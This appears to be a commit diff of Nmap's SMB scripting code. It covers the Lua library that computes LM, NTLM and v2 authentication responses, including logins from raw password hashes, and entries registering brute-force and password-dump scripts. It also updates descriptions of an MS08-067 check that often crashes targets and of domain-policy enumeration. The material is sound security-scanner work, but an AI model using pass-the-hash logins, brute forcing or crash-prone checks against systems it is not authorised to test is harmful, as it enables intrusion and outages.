local function lm_create_hash(password)
|
||||
if(have_ssl ~= true) then
|
||||
return false, "SMB: OpenSSL not present"
|
||||
end
|
||||
|
||||
local str1, str2
|
||||
local key1, key2
|
||||
local result
|
||||
|
||||
-- Convert the password to uppercase
|
||||
password = string.upper(password)
|
||||
|
||||
-- If password is under 14 characters, pad it to 14
|
||||
if(#password < 14) then
|
||||
password = password .. string.rep(string.char(0), 14 - #password)
|
||||
end
|
||||
|
||||
-- Take the first and second half of the password (note that if it's longer than 14 characters, it's truncated)
|
||||
str1 = string.sub(password, 1, 7)
|
||||
str2 = string.sub(password, 8, 14)
|
||||
|
||||
-- Generate the keys
|
||||
key1 = openssl.DES_string_to_key(str1)
|
||||
key2 = openssl.DES_string_to_key(str2)
|
||||
|
||||
-- Encrypt the string "KGS!@#$%" with each half, and concatenate it
|
||||
result = openssl.encrypt("DES", key1, nil, "KGS!@#$%") .. openssl.encrypt("DES", key2, nil, "KGS!@#$%")
|
||||
|
||||
return true, result
|
||||
end
|
||||
|
||||
---Generate the NTLMv1 hash. This hash is quite a bit better than LMv1, and is far easier to generate. Basically,
|
||||
-- it's the MD4 of the Unicode password.
|
||||
--
|
||||
--@param password the password to hash
|
||||
--@return (status, hash) If status is true, the hash is returned; otherwise, an error message is returned.
|
||||
function ntlm_create_hash(password)
|
||||
if(have_ssl ~= true) then
|
||||
return false, "SMB: OpenSSL not present"
|
||||
end
|
||||
|
||||
return true, openssl.md4(to_unicode(password))
|
||||
end
|
||||
|
||||
---Create the Lanman response to send back to the server. To do this, the Lanman password is padded to 21
|
||||
-- characters and split into three 7-character strings. Each of those strings is used as a key to encrypt
|
||||
-- the server challenge. The three encrypted strings are concatenated and returned.
|
||||
--
|
||||
--@param lanman The LMv1 hash
|
||||
--@param challenge The server's challenge.
|
||||
--@return (status, response) If status is true, the response is returned; otherwise, an error message is returned.
|
||||
function lm_create_response(lanman, challenge)
|
||||
if(have_ssl ~= true) then
|
||||
return false, "SMB: OpenSSL not present"
|
||||
end
|
||||
|
||||
local str1, str2, str3
|
||||
local key1, key2, key3
|
||||
local result
|
||||
|
||||
-- Pad the hash to 21 characters
|
||||
lanman = lanman .. string.rep(string.char(0), 21 - #lanman)
|
||||
|
||||
-- Take the first and second half of the password (note that if it's longer than 14 characters, it's truncated)
|
||||
str1 = string.sub(lanman, 1, 7)
|
||||
str2 = string.sub(lanman, 8, 14)
|
||||
str3 = string.sub(lanman, 15, 21)
|
||||
|
||||
-- Generate the keys
|
||||
key1 = openssl.DES_string_to_key(str1)
|
||||
key2 = openssl.DES_string_to_key(str2)
|
||||
key3 = openssl.DES_string_to_key(str3)
|
||||
|
||||
-- Encrypt the challenge with each key
|
||||
result = openssl.encrypt("DES", key1, nil, challenge) .. openssl.encrypt("DES", key2, nil, challenge) .. openssl.encrypt("DES", key3, nil, challenge)
|
||||
|
||||
return true, result
|
||||
end
|
||||
|
||||
---Create the NTLM response to send back to the server. This is actually done the exact same way as the Lanman hash,
|
||||
-- so I call the <code>Lanman</code> function.
|
||||
--
|
||||
--@param ntlm The NTLMv1 hash
|
||||
--@param challenge The server's challenge.
|
||||
--@return (status, response) If status is true, the response is returned; otherwise, an error message is returned.
|
||||
function ntlm_create_response(ntlm, challenge)
|
||||
return lm_create_response(ntlm, challenge)
|
||||
end
|
||||
|
||||
---Create the NTLM mac key, which is used for message signing. For basic authentication, this is the md4 of the
|
||||
-- NTLM hash, concatenated with the response hash; for extended authentication, this is just the md4 of the NTLM
|
||||
-- hash.
|
||||
--@param ntlm_hash The NTLM hash.
|
||||
--@param ntlm_response The NTLM response.
|
||||
--@param is_extended Should be set if extended security negotiations are being used.
|
||||
function ntlm_create_mac_key(ntlm_hash, ntlm_response, is_extended)
|
||||
if(is_extended) then
|
||||
return openssl.md4(ntlm_hash)
|
||||
else
|
||||
return openssl.md4(ntlm_hash) .. ntlm_response
|
||||
end
|
||||
end
|
||||
|
||||
---Create the LM mac key, which is used for message signing. For basic authentication, it's the first 8 bytes
|
||||
-- of the lanman hash, followed by 8 null bytes, followed by the lanman response; for extended authentication,
|
||||
-- this is just the first 8 bytes of the lanman hash followed by 8 null bytes.
|
||||
--@param ntlm_hash The NTLM hash.
|
||||
--@param ntlm_response The NTLM response.
|
||||
--@param is_extended Should be set if extended security negotiations are being used.
|
||||
function lm_create_mac_key(lm_hash, lm_response, is_extended)
|
||||
if(is_extended) then
|
||||
return string.sub(lm_hash, 1, 8) .. string.rep(string.char(0), 8)
|
||||
else
|
||||
return string.sub(lm_hash, 1, 8) .. string.rep(string.char(0), 8) .. lm_response
|
||||
end
|
||||
end
|
||||
|
||||
---Create the NTLMv2 hash, which is based on the NTLMv1 hash (for easy upgrading), the username, and the domain.
|
||||
-- Essentially, the NTLM hash is used as a HMAC-MD5 key, which is used to hash the unicode domain concatenated
|
||||
-- with the unicode username.
|
||||
--
|
||||
--@param ntlm The NTLMv1 hash.
|
||||
--@param username The username we're using.
|
||||
--@param domain The domain.
|
||||
--@return (status, response) If status is true, the response is returned; otherwise, an error message is returned.
|
||||
function ntlmv2_create_hash(ntlm, username, domain)
|
||||
if(have_ssl ~= true) then
|
||||
return false, "SMB: OpenSSL not present"
|
||||
end
|
||||
|
||||
local unicode = ""
|
||||
|
||||
username = to_unicode(string.upper(username))
|
||||
domain = to_unicode(string.upper(domain))
|
||||
|
||||
return true, openssl.hmac("MD5", ntlm, username .. domain)
|
||||
end
|
||||
|
||||
---Create the LMv2 response, which can be sent back to the server. This is identical to the <code>NTLMv2</code> function,
|
||||
-- except that it uses an 8-byte client challenge.
|
||||
--
|
||||
-- The reason for LMv2 is a long and twisted story. Well, not really. The reason is basically that the v1 hashes
|
||||
-- are always 24-bytes, and some servers expect 24 bytes, but the NTLMv2 hash is more than 24 bytes. So, the only
|
||||
-- way to keep pass-through compatibility was to have a v2-hash that was guaranteed to be 24 bytes. So LMv1 was
|
||||
-- born -- it has a 16-byte hash followed by the 8-byte client challenge, for a total of 24 bytes. And now you've
|
||||
-- learned something
|
||||
--
|
||||
--@param ntlm The NVLMv1 hash.
|
||||
--@param username The username we're using.
|
||||
--@param domain The domain.
|
||||
--@param challenge The server challenge.
|
||||
--@return (status, response) If status is true, the response is returned; otherwise, an error message is returned.
|
||||
function lmv2_create_response(ntlm, username, domain, challenge)
|
||||
return ntlmv2_create_response(ntlm, username, domain, challenge, 8)
|
||||
end
|
||||
|
||||
---Create the NTLMv2 response, which can be sent back to the server. This is done by using the HMAC-MD5 algorithm
|
||||
-- with the NTLMv2 hash as a key, and the server challenge concatenated with the client challenge for the data.
|
||||
-- The resulting hash is concatenated with the client challenge and returned.
|
||||
--
|
||||
-- The "proper" implementation for this uses a certain structure for the client challenge, involving the time
|
||||
-- and computer name and stuff (if you don't do this, Wireshark tells you it's a malformed packet). In my tests,
|
||||
-- however, I couldn't get Vista to recognize a client challenge longer than 24 bytes, and this structure was
|
||||
-- guaranteed to be much longer than 24 bytes. So, I just use a random string generated by OpenSSL. I've tested
|
||||
-- it on every Windows system from Windows 2000 to Windows Vista, and it has always worked.
|
||||
function ntlmv2_create_response(ntlm, username, domain, challenge, client_challenge_length)
|
||||
if(have_ssl ~= true) then
|
||||
return false, "SMB: OpenSSL not present"
|
||||
end
|
||||
|
||||
local client_challenge = openssl.rand_bytes(client_challenge_length)
|
||||
local ntlmv2_hash
|
||||
|
||||
status, ntlmv2_hash = ntlmv2_create_hash(ntlm, username, domain)
|
||||
|
||||
return true, openssl.hmac("MD5", ntlmv2_hash, challenge .. client_challenge) .. client_challenge
|
||||
end
|
||||
|
||||
---Determines which hash type is going to be used, based on the function parameters and
|
||||
-- the nmap arguments (in that order).
|
||||
--
|
||||
--@param hash_type [optional] The function parameter version, which will override all others if set.
|
||||
--@return The highest priority hash type that's set.
|
||||
local function get_hash_type(hash_type)
|
||||
|
||||
if(hash_type ~= nil) then
|
||||
stdnse.print_debug(2, "SMB: Using logon type passed as a parameter: %s", hash_type)
|
||||
else
|
||||
if(nmap.registry.args.smbtype ~= nil) then
|
||||
hash_type = nmap.registry.args.smbtype
|
||||
stdnse.print_debug(2, "SMB: Using logon type passed as an nmap parameter: %s", hash_type)
|
||||
else
|
||||
hash_type = "ntlm"
|
||||
stdnse.print_debug(2, "SMB: Using default logon type: %s", hash_type)
|
||||
end
|
||||
end
|
||||
|
||||
return string.lower(hash_type)
|
||||
end
|
||||
|
||||
|
||||
---Determines which username is going to be used, based on the function parameters, the nmap arguments,
|
||||
-- and the registry (in that order).
|
||||
--
|
||||
--@param ip The ip address, used when reading from the registry
|
||||
--@param username [optional] The function parameter version, which will override all others if set.
|
||||
--@return The highest priority username that's set.
|
||||
local function get_username(ip, username)
|
||||
|
||||
if(username ~= nil) then
|
||||
stdnse.print_debug(2, "SMB: Using username passed as a parameter: %s", username)
|
||||
else
|
||||
if(nmap.registry.args.smbusername ~= nil) then
|
||||
username = nmap.registry.args.smbusername
|
||||
stdnse.print_debug(2, "SMB: Using username passed as an nmap parameter (smbusername): %s", username)
|
||||
elseif(nmap.registry.args.smbuser ~= nil) then
|
||||
username = nmap.registry.args.smbuser
|
||||
stdnse.print_debug(2, "SMB: Using username passed as an nmap parameter (smbuser): %s", username)
|
||||
elseif(nmap.registry[ip] ~= nil and nmap.registry[ip]['smbaccount'] ~= nil and nmap.registry[ip]['smbaccount']['username'] ~= nil) then
|
||||
username = nmap.registry[ip]['smbaccount']['username']
|
||||
stdnse.print_debug(2, "SMB: Using username found in the registry: %s", username)
|
||||
else
|
||||
username = nil
|
||||
stdnse.print_debug(2, "SMB: Couldn't find a username to use, not logging in")
|
||||
end
|
||||
end
|
||||
|
||||
return username
|
||||
end
|
||||
|
||||
---Determines which domain is going to be used, based on the function parameters and
|
||||
-- the nmap arguments (in that order).
|
||||
--
|
||||
-- [TODO] registry
|
||||
--
|
||||
--@param domain [optional] The function parameter version, which will override all others if set.
|
||||
--@return The highest priority domain that's set.
|
||||
local function get_domain(ip, domain)
|
||||
|
||||
if(domain ~= nil) then
|
||||
stdnse.print_debug(2, "SMB: Using domain passed as a parameter: %s", domain)
|
||||
else
|
||||
if(nmap.registry.args.smbdomain ~= nil) then
|
||||
domain = nmap.registry.args.smbdomain
|
||||
stdnse.print_debug(2, "SMB: Using domain passed as an nmap parameter: %s", domain)
|
||||
else
|
||||
domain = ""
|
||||
stdnse.print_debug(2, "SMB: Couldn't find domain to use, using blank")
|
||||
end
|
||||
end
|
||||
|
||||
return domain
|
||||
end
|
||||
|
||||
---Generate the Lanman and NTLM password hashes. The password itself is taken from the function parameters,
|
||||
-- the nmap arguments, and the registry (in that order). If no password is set, then the password hash
|
||||
-- is used (which is read from all the usual places). If neither is set, then a blank password is used.
|
||||
--
|
||||
-- The output passwords are hashed based on the hash type.
|
||||
--
|
||||
--@param ip The ip address of the host, used for registry lookups.
|
||||
--@param username The username, which is used for v2 passwords.
|
||||
--@param domain The username, which is used for v2 passwords.
|
||||
--@param password [optional] The overriding password.
|
||||
--@param password_hash [optional] The overriding password hash. Shouldn't be set if password is set.
|
||||
--@param challenge The server challenge.
|
||||
--@param hash_type The way in which to hash the password.
|
||||
--@param is_extended Set to 'true' if extended security negotiations are being used (this has to be known for the
|
||||
-- message-signing key to be generated properly).
|
||||
--@return (lm_response, ntlm_response, mac_key) The two strings that can be sent directly back to the server,
|
||||
-- and the mac_key, which is used for message signing.
|
||||
local function get_password_response(ip, username, domain, password, password_hash, challenge, hash_type, is_extended)
|
||||
|
||||
local lm_hash = nil
|
||||
local ntlm_hash = nil
|
||||
local mac_key = nil
|
||||
|
||||
-- Check if there's a password or hash set. This is a little tricky, because in all places (except the one passed
|
||||
-- as a parameter), it's based on whether or not the username was stored. This lets us use blank passwords by not
|
||||
-- specifying one.
|
||||
if(password ~= nil) then
|
||||
stdnse.print_debug(2, "SMB: Using password/hash passed as a parameter (username = '%s')", username)
|
||||
|
||||
elseif(nmap.registry.args.smbusername ~= nil or nmap.registry.args.smbuser ~= nil) then
|
||||
stdnse.print_debug(2, "SMB: Using password/hash passed as an nmap parameter")
|
||||
|
||||
if(nmap.registry.args.smbpassword ~= nil) then
|
||||
password = nmap.registry.args.smbpassword
|
||||
elseif(nmap.registry.args.smbpass ~= nil) then
|
||||
password = nmap.registry.args.smbpass
|
||||
elseif(nmap.registry.args.smbhash ~= nil) then
|
||||
password_hash = nmap.registry.args.smbhash
|
||||
end
|
||||
|
||||
elseif(nmap.registry[ip] ~= nil and nmap.registry[ip]['smbaccount'] ~= nil and nmap.registry[ip]['smbaccount']['username'] ~= nil) then
|
||||
stdnse.print_debug(2, "SMB: Using password/hash found in the registry")
|
||||
|
||||
if(nmap.registry[ip]['smbaccount']['password'] ~= nil) then
|
||||
password = nmap.registry[ip]['smbaccount']['password']
|
||||
elseif(nmap.registry[ip]['smbaccount']['hash'] ~= nil) then
|
||||
password_hash = nmap.registry[ip]['smbaccount']['password']
|
||||
end
|
||||
|
||||
else
|
||||
password = nil
|
||||
password_hash = nil
|
||||
end
|
||||
|
||||
-- Check for a blank password
|
||||
if(password == nil and password_hash == nil) then
|
||||
stdnse.print_debug(2, "SMB: Couldn't find password or hash to use (assuming blank)")
|
||||
password = ""
|
||||
end
|
||||
|
||||
-- If we got a password, hash it
|
||||
if(password ~= nil) then
|
||||
status, lm_hash = lm_create_hash(password)
|
||||
status, ntlm_hash = ntlm_create_hash(password)
|
||||
else
|
||||
if(password_hash ~= nil) then
|
||||
if(string.find(password_hash, "^" .. string.rep("%x%x", 16) .. "$")) then
|
||||
stdnse.print_debug(2, "SMB: Found a 16-byte hex string")
|
||||
lm_hash = bin.pack("H", password_hash:sub(1, 32))
|
||||
ntlm_hash = bin.pack("H", password_hash:sub(1, 32))
|
||||
elseif(string.find(password_hash, "^" .. string.rep("%x%x", 32) .. "$")) then
|
||||
stdnse.print_debug(2, "SMB: Found a 32-byte hex string")
|
||||
lm_hash = bin.pack("H", password_hash:sub(1, 32))
|
||||
ntlm_hash = bin.pack("H", password_hash:sub(33, 64))
|
||||
elseif(string.find(password_hash, "^" .. string.rep("%x%x", 16) .. "." .. string.rep("%x%x", 16) .. "$")) then
|
||||
stdnse.print_debug(2, "SMB: Found two 16-byte hex strings")
|
||||
lm_hash = bin.pack("H", password_hash:sub(1, 32))
|
||||
ntlm_hash = bin.pack("H", password_hash:sub(34, 65))
|
||||
else
|
||||
stdnse.print_debug(1, "SMB: ERROR: Hash(es) provided in an invalid format (should be 32, 64, or 65 hex characters)")
|
||||
lm_hash = nil
|
||||
ntlm_hash = nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- At this point, we should have a good lm_hash and ntlm_hash if we're getting one
|
||||
if(lm_hash == nil or ntlm_hash == nil) then
|
||||
stdnse.print_debug(2, "SMB: Couldn't determine which password to use, using a blank one")
|
||||
return "", ""
|
||||
end
|
||||
|
||||
-- Output what we've got so far
|
||||
stdnse.print_debug(2, "SMB: Lanman hash: %s", stdnse.tohex(lm_hash))
|
||||
stdnse.print_debug(2, "SMB: NTLM hash: %s", stdnse.tohex(ntlm_hash))
|
||||
|
||||
-- Hash the password the way the user wants
|
||||
if(hash_type == "v1") then
|
||||
-- LM and NTLM are hashed with their respective algorithms
|
||||
stdnse.print_debug(2, "SMB: Creating v1 response")
|
||||
status, lm_response = lm_create_response(lm_hash, challenge)
|
||||
status, ntlm_response = ntlm_create_response(ntlm_hash, challenge)
|
||||
|
||||
mac_key = ntlm_create_mac_key(ntlm_hash, ntlm_response, is_extended)
|
||||
|
||||
elseif(hash_type == "lm") then
|
||||
-- LM is hashed with its algorithm, NTLM is blank
|
||||
stdnse.print_debug(2, "SMB: Creating LMv1 response")
|
||||
status, lm_response = lm_create_response(lm_hash, challenge)
|
||||
ntlm_response = ""
|
||||
|
||||
mac_key = lm_create_mac_key(lm_hash, lm_response, is_extended)
|
||||
|
||||
elseif(hash_type == "ntlm") then
|
||||
-- LM and NTLM both use the NTLM algorithm
|
||||
stdnse.print_debug(2, "SMB: Creating NTLMv1 response")
|
||||
status, lm_response = ntlm_create_response(ntlm_hash, challenge)
|
||||
status, ntlm_response = ntlm_create_response(ntlm_hash, challenge)
|
||||
|
||||
mac_key = ntlm_create_mac_key(ntlm_hash, ntlm_response, is_extended)
|
||||
|
||||
elseif(hash_type == "v2") then
|
||||
-- LM and NTLM are hashed with their respective v2 algorithms
|
||||
stdnse.print_debug(2, "SMB: Creating v2 response")
|
||||
status, lm_response = lmv2_create_response(ntlm_hash, username, domain, challenge)
|
||||
status, ntlm_response = ntlmv2_create_response(ntlm_hash, username, domain, challenge, 24)
|
||||
|
||||
elseif(hash_type == "lmv2") then
|
||||
-- LM is hashed with its v2 algorithm, NTLM is blank
|
||||
stdnse.print_debug(2, "SMB: Creating LMv2 response")
|
||||
status, lm_response = lmv2_create_response(ntlm_hash, username, domain, challenge)
|
||||
ntlm_response = ""
|
||||
|
||||
else
|
||||
-- Default to NTLMv1
|
||||
stdnse.print_debug(1, "SMB: Invalid login type specified, using default (NTLM)")
|
||||
status, lm_response = ntlm_create_response(ntlm_hash, challenge)
|
||||
status, ntlm_response = ntlm_create_response(ntlm_hash, challenge)
|
||||
|
||||
end
|
||||
|
||||
stdnse.print_debug(2, "SMB: Lanman response: %s", stdnse.tohex(lm_response))
|
||||
stdnse.print_debug(2, "SMB: NTLM response: %s", stdnse.tohex(ntlm_response))
|
||||
|
||||
return lm_response, ntlm_response, mac_key
|
||||
end
|
||||
|
||||
---Get the list of accounts to use to log in. TODO: More description
|
||||
function get_accounts(ip, overrides, use_defaults)
|
||||
local results = {}
|
||||
-- Just so we can index into it
|
||||
if(overrides == nil) then
|
||||
overrides = {}
|
||||
end
|
||||
-- By default, use defaults
|
||||
if(use_defaults == nil) then
|
||||
use_defaults = true
|
||||
end
|
||||
|
||||
-- If we don't have OpenSSL, don't bother with any of this because we aren't going to
|
||||
-- be able to hash the password
|
||||
if(have_ssl == true) then
|
||||
local result = {}
|
||||
|
||||
-- Get the "real" information
|
||||
result['username'] = get_username(ip, overrides['username'])
|
||||
result['domain'] = get_domain(ip, overrides['domain'])
|
||||
result['hash_type'] = get_hash_type(overrides['hash_type'])
|
||||
|
||||
if(result['username'] ~= nil) then
|
||||
results[#results + 1] = result
|
||||
end
|
||||
|
||||
-- Do the "guest" account, if use_defaults is set
|
||||
if(use_defaults) then
|
||||
result = {}
|
||||
result['username'] = "guest"
|
||||
result['domain'] = ""
|
||||
result['hash_type'] = get_hash_type(overrides['hash_type'])
|
||||
results[#results + 1] = result
|
||||
end
|
||||
end
|
||||
|
||||
-- Do the "anonymous" account
|
||||
if(use_defaults) then
|
||||
result = {}
|
||||
result['username'] = ""
|
||||
result['domain'] = ""
|
||||
results[#results + 1] = result
|
||||
end
|
||||
|
||||
return results
|
||||
end
|
||||
|
||||
function get_password_hashes(ip, username, domain, hash_type, overrides, challenge, is_extended)
|
||||
if(overrides == nil) then
|
||||
overrides = {}
|
||||
end
|
||||
|
||||
if(username == "") then
|
||||
return string.char(0), '', nil
|
||||
elseif(username == "guest") then
|
||||
return get_password_response(ip, username, domain, "", nil, challenge, hash_type, is_extended)
|
||||
else
|
||||
return get_password_response(ip, username, domain, overrides['password'], overrides['password_hash'], challenge, hash_type, is_extended)
|
||||
end
|
||||
end
|
||||
|
||||
function get_security_blob(security_blob, ip, username, domain, hash_type, overrides, use_default)
|
||||
local pos = 1
|
||||
local new_blob
|
||||
local flags = 0x00008211 -- (NEGOTIATE_SIGN_ALWAYS | NEGOTIATE_NTLM | NEGOTIATE_SIGN | NEGOTIATE_UNICODE)
|
||||
|
||||
if(session_key == nil) then
|
||||
session_key = string.rep(string.char(0x00), 16)
|
||||
end
|
||||
|
||||
if(security_blob == nil) then
|
||||
-- If security_blob is nil, this is the initial packet
|
||||
new_blob = bin.pack("<zIILL",
|
||||
"NTLMSSP", -- Identifier
|
||||
NTLMSSP_NEGOTIATE, -- Type
|
||||
flags, -- Flags
|
||||
0, -- Calling workstation domain
|
||||
0 -- Calling workstation name
|
||||
)
|
||||
|
||||
return true, new_blob, "", ""
|
||||
else
|
||||
local identifier, message_type, domain_length, domain_max, domain_offset, server_flags, challenge, reserved
|
||||
|
||||
-- Parse the old security blob
|
||||
pos, identifier, message_type, domain_length, domain_max, domain_offset, server_flags, challenge, reserved = bin.unpack("<LISSIIA8A8", security_blob, 1)
|
||||
|
||||
-- Get the information for the current login
|
||||
local lanman, ntlm, mac_key = get_password_hashes(ip, username, domain, hash_type, overrides, challenge, true)
|
||||
|
||||
-- Convert the username and domain to unicode (TODO: Disable the unicode flag, evaluate if that'll work)
|
||||
username = to_unicode(username)
|
||||
domain = to_unicode(domain)
|
||||
|
||||
new_blob = bin.pack("<zISSISSISSISSISSISSII",
|
||||
"NTLMSSP", -- Identifier
|
||||
NTLMSSP_AUTH, -- Type
|
||||
#lanman, -- Lanman (length, max, offset)
|
||||
#lanman, --
|
||||
0x40, --
|
||||
#ntlm, -- NTLM (length, max, offset)
|
||||
#ntlm, --
|
||||
0x40 + #lanman, --
|
||||
#domain, -- Domain (length, max, offset)
|
||||
#domain, --
|
||||
0x40 + #lanman + #ntlm,--
|
||||
#username, -- Username (length, max, offset)
|
||||
#username, --
|
||||
0x40 + #lanman + #ntlm + #domain,
|
||||
#domain, -- Hostname (length, max, offset)
|
||||
#domain, --
|
||||
0x40 + #lanman + #ntlm + #domain + #username,
|
||||
#session_key, -- Session key (length, max, offset)
|
||||
#session_key, --
|
||||
0x40 + #lanman + #ntlm + #domain + #username + #domain,
|
||||
flags -- Flags
|
||||
)
|
||||
|
||||
new_blob = new_blob .. bin.pack("AAAAAA", lanman, ntlm, domain, username, domain, session_key)
|
||||
return true, new_blob, mac_key
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
---Create an 8-byte message signature that's sent with all SMB packets.
|
||||
--
|
||||
--@param mac_key The key used for authentication. It's the concatination of the session key and the
|
||||
-- response hash.
|
||||
--@param data The packet to generate the signature for. This should be the packet that's about to be
|
||||
-- sent, except with the signature slot replaced with the sequence number.
|
||||
--@return The 8-byte signature. The signature is equal to the first eight bytes of md5(mac_key .. smb_data)
|
||||
function calculate_signature(mac_key, data)
|
||||
return string.sub(openssl.md5(mac_key .. data), 1, 8)
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -91,11 +91,15 @@ action = function(host)
|
||||
end
|
||||
|
||||
-- Format the Mac address in the standard way
|
||||
if(#statistics >= 6) then
|
||||
mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6))
|
||||
-- Samba doesn't set the Mac address
|
||||
if(mac == "00:00:00:00:00:00") then
|
||||
mac = "<unknown>"
|
||||
end
|
||||
else
|
||||
mac = "<unknown>"
|
||||
end
|
||||
|
||||
-- Check if we actually got a username
|
||||
if(user_name == nil) then
|
||||
|
||||
@@ -62,6 +62,8 @@ Entry{ category = "default", filename = "rpcinfo.nse" }
|
||||
Entry{ category = "safe", filename = "rpcinfo.nse" }
|
||||
Entry{ category = "discovery", filename = "rpcinfo.nse" }
|
||||
Entry{ category = "version", filename = "skypev2-version.nse" }
|
||||
Entry{ category = "intrusive", filename = "smb-brute.nse" }
|
||||
Entry{ category = "auth", filename = "smb-brute.nse" }
|
||||
Entry{ category = "intrusive", filename = "smb-check-vulns.nse" }
|
||||
Entry{ category = "discovery", filename = "smb-enum-domains.nse" }
|
||||
Entry{ category = "intrusive", filename = "smb-enum-domains.nse" }
|
||||
@@ -76,6 +78,7 @@ Entry{ category = "intrusive", filename = "smb-enum-users.nse" }
|
||||
Entry{ category = "default", filename = "smb-os-discovery.nse" }
|
||||
Entry{ category = "discovery", filename = "smb-os-discovery.nse" }
|
||||
Entry{ category = "safe", filename = "smb-os-discovery.nse" }
|
||||
Entry{ category = "intrusive", filename = "smb-pwdump.nse" }
|
||||
Entry{ category = "discovery", filename = "smb-security-mode.nse" }
|
||||
Entry{ category = "safe", filename = "smb-security-mode.nse" }
|
||||
Entry{ category = "discovery", filename = "smb-server-stats.nse" }
|
||||
|
||||
1046
scripts/smb-brute.nse
Normal file
1046
scripts/smb-brute.nse
Normal file
File diff suppressed because it is too large
Load Diff
@@ -1,12 +1,18 @@
|
||||
description = [[
|
||||
Checks if a host is vulnerable to MS08-067, a Windows RPC vulnerability that
|
||||
can allow remote code execution. This script is intended to check for more
|
||||
can allow remote code execution. This script will be expanded to check for more
|
||||
vulnerabilities in the future.
|
||||
|
||||
WARNING: These checks are dangerous, and are very likely to bring down a server.
|
||||
These should not be run in a production environment unless you (and, more importantly,
|
||||
the business) understand the risks!
|
||||
|
||||
As a system administrator, performing these kinds of checks is crucial, because
|
||||
a lot more damage can be done by a worm or a hacker using this vulnerability than
|
||||
by a scanner. Penetration testers, on the other hand, might not want to use this
|
||||
script -- crashing services is not generally a good way of sneaking through a
|
||||
network.
|
||||
|
||||
If you set the script parameter 'unsafe', then scripts will run that are almost
|
||||
(or totally) guaranteed to crash a vulnerable system; do NOT specify <code>unsafe</code>
|
||||
in a production environment! And that isn't to say that non-unsafe scripts will
|
||||
@@ -14,7 +20,7 @@ not crash a system, they're just less likely to.
|
||||
|
||||
MS08-067 -- Checks if a host is vulnerable to MS08-067, a Windows RPC vulnerability that
|
||||
can allow remote code execution. Checking for MS08-067 is very dangerous, as the check
|
||||
is likelyto crash systems. On a fairly wide scan conducted by Brandon Enright, we determined
|
||||
is likely to crash systems. On a fairly wide scan conducted by Brandon Enright, we determined
|
||||
that on average, a vulnerable system is more likely to crash than to survive
|
||||
the check. Out of 82 vulnerable systems, 52 crashed.
|
||||
|
||||
|
||||
@@ -1,5 +1,20 @@
|
||||
description = [[
|
||||
Attempts to enumerate domains on a system, along with their policies. This will likely only work without credentials against Windows 2000.
|
||||
Attempts to enumerate domains on a system, along with their policies. This generally requires
|
||||
credentials, except against Windows 2000. In addition to the actual domain, the "Builtin"
|
||||
domain is generally displayed. Windows returns this in the list of domains, but its policies
|
||||
don't appear to be used anywhere.
|
||||
|
||||
Much of the information provided is useful to a penetration tester, because it tells the
|
||||
tester what types of policies to expect. For example, if passwords have a minimum length of 8,
|
||||
the tester can trim his database to match; if the minimum length is 14, the tester will
|
||||
probably start looking for sticky notes on people's monitors.
|
||||
|
||||
Another useful piece of information is the password lockouts -- a penetration tester often wants
|
||||
to know whether or not there's a risk of negatively impacting a network, and this will
|
||||
indicate it. The SID is displayed, which may be useful in other tools; the users are listed,
|
||||
which uses different functions than <code>smb-enum-users.nse</code> (though likely won't
|
||||
get different results), and the date and time the domain was created may give some insight into
|
||||
its history.
|
||||
|
||||
After the initial <code>bind</code> to SAMR, the sequence of calls is:
|
||||
* <code>Connect4</code>: get a connect_handle
|
||||
|
||||
@@ -1,13 +1,19 @@
|
||||
|
||||
description = [[
|
||||
Pulls a list of processes from the remote server over SMB (using the remote registry service and
|
||||
HKEY_PERFORMANCE_DATA).
|
||||
Pulls a list of processes from the remote server over SMB. This will determine
|
||||
all running processes, their process IDs, and their parent processes. It is done
|
||||
by querying the remote registry service, which is disabled by default on Vista; on
|
||||
all other Windows versions, it requires Administrator privilges.
|
||||
|
||||
Requires Administrator access.
|
||||
Since this requires administrator privileges, it isn't especially useful for a
|
||||
penetration tester, since they can effectively do the same thing with metasploit
|
||||
or other tools. It does, however, provide for a quick way to get process lists
|
||||
for a bunch of systems at the same time.
|
||||
|
||||
WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows
|
||||
2000 system; I've fixed the issue that caused it, but there's no guarantee that it (or a similar vuln in the
|
||||
same code) won't show up again.
|
||||
WARNING: I have experienced crashes in regsvc.exe while making registry calls
|
||||
against a fully patched Windows 2000 system; I've fixed the issue that caused it,
|
||||
but there's no guarantee that it (or a similar vuln in the same code) won't show
|
||||
up again. Since the process automatically restarts, it doesn't negatively impact
|
||||
the system, besides showing a message box to the user.
|
||||
]]
|
||||
|
||||
---
|
||||
@@ -35,47 +41,23 @@ same code) won't show up again.
|
||||
-- --
|
||||
-- Host script results:
|
||||
-- | smb-enum-processes:
|
||||
-- | Idle
|
||||
-- | | PID: 0, Parent: 0 [Idle]
|
||||
-- | | Priority: 0
|
||||
-- | |_Thread Count: 1, Handle Count: 0
|
||||
-- | System
|
||||
-- | | PID: 4, Parent: 0 [Idle]
|
||||
-- | | Priority: 8
|
||||
-- | |_Thread Count: 48, Handle Count: 392
|
||||
-- | VMwareUser
|
||||
-- | | PID: 212, Parent: 1832 [explorer]
|
||||
-- | | Priority: 8
|
||||
-- | |_Thread Count: 1, Handle Count: 45
|
||||
-- | VMwareTray
|
||||
-- | | PID: 240, Parent: 1832 [explorer]
|
||||
-- | | Priority: 8
|
||||
-- | |_Thread Count: 1, Handle Count: 41
|
||||
-- | smss
|
||||
-- | | PID: 252, Parent: 4 [System]
|
||||
-- | | Priority: 11
|
||||
-- | |_Thread Count: 3, Handle Count: 19
|
||||
-- | csrss
|
||||
-- | | PID: 300, Parent: 252 [smss]
|
||||
-- | | Priority: 13
|
||||
-- | |_Thread Count: 10, Handle Count: 347
|
||||
-- | winlogon
|
||||
-- | | PID: 324, Parent: 252 [smss]
|
||||
-- | | Priority: 13
|
||||
-- | |_Thread Count: 18, Handle Count: 513
|
||||
-- | services
|
||||
-- | | PID: 372, Parent: 324 [winlogon]
|
||||
-- | | Priority: 9
|
||||
-- | |_Thread Count: 17, Handle Count: 275
|
||||
-- | lsass
|
||||
-- | | PID: 384, Parent: 324 [winlogon]
|
||||
-- | | Priority: 9
|
||||
-- | |_Thread Count: 29, Handle Count: 415
|
||||
-- | logon.scr
|
||||
